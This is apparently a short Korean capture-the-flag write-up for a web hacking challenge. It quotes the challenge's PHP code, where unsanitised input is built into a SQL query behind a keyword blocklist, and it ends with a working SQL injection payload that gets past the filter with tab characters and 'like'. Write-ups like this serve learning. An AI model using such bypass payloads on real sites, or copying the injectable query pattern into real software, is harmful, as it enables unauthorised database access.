admin을 입력했을 때, preg_match 함수를 통해 #,select, (, 공백, limit, =, 16진수 필터링한다.
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
즉, 우리가 원하는 쿼리는 no가 2인 admin을 요청하는 것이다.
id가 guest로 정해져 있으므로, 이를 false로 만들고 or 명령어를 통해 no값을 2로 주어야 한다.
2) or no = (2) --
여기서 공백, = 과 같은 필터링 문자열들을 우회하여 입력해주어야 한다.
//like 쓰는 경우 () 쓰지 않아도 됨
2)%09or%09no%09like%092%09--%09
성공